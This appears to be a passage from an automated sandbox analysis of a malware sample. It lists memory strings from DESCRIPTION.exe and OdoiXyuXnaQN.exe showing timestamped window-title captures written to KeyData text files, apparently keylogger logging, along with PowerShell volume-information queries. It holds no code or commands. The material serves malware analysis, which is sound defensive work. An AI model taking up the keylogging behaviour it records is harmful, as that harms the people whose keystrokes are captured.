                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:44]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:22]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111D000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:00]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003EAE000.00000004.00000020.00020000.00000000.sdmp, KeyDataYRTmqAXe.txt.9.drBinary or memory string: [07:21:23]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:08]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:26]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041EF000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:51]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:09]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:18]<<Program Manager>/
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:17<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, KeyDatajGpJWZFT.txt.9.drBinary or memory string: [07:21:50]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 22:38]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 21:37]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:18]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:42]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2720460727.0000000003EEC000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, KeyDataUNWGMQvz.txt.9.drBinary or memory string: [07:22:34]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:18<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--1]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2720460727.0000000003EEC000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, KeyDataYRTmqAXe.txt.9.drBinary or memory string: [07:21:21]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:54]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:17]<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, KeyDataYRTmqAXe.txt.9.drBinary or memory string: [07:21:20]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2723224019.00000000055BE000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:13]<<Program Manager>>4
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:53]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 07:23:12]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2720460727.0000000003EEC000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, KeyDataUNWGMQvz.txt.9.drBinary or memory string: [07:22:29]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:21]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, KeyDataYRTmqAXe.txt.9.drBinary or memory string: [07:21:22]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:15]<<Program Manager>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:16]<<Program Manager>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:08]<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managerogram Manager
                      Source: DESCRIPTION.exe, 00000009.00000002.2722864980.0000000005570000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:15]<<Program Manager>>3fbd04f5-b1ed-
                      Source: DESCRIPTION.exe, 00000009.00000002.2720460727.0000000003EEC000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, KeyDataUNWGMQvz.txt.9.drBinary or memory string: [07:22:28]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:52]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:18]<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:17]<<Program Manager
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:07]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:00]<<Program Manager>>
                      Source: KeyDataNErTutaN.txt.9.drBinary or memory string: [07:22:49]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:11]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:05]<<Program Manager>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111D000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:56]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:20]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:10]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:39]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:25Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 22:51]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:43]<<Program Manager>>t
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:03]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2730998097.00000000082C0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:05]<<Program Manager>>
                      Source: KeyDataNErTutaN.txt.9.drBinary or memory string: [07:22:48]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111D000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:55]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:12]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :10]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 0]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ThunderRT6PictureBoxDC44]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:38]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2722864980.0000000005570000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:15]<<Program Manager>>P
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :21:39]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, KeyDataWrlEoSmg.txt.9.drBinary or memory string: [07:22:47]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2730998097.00000000082C0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041EF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:04]<<Program Manager>>
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\Desktop\DESCRIPTION.exe VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
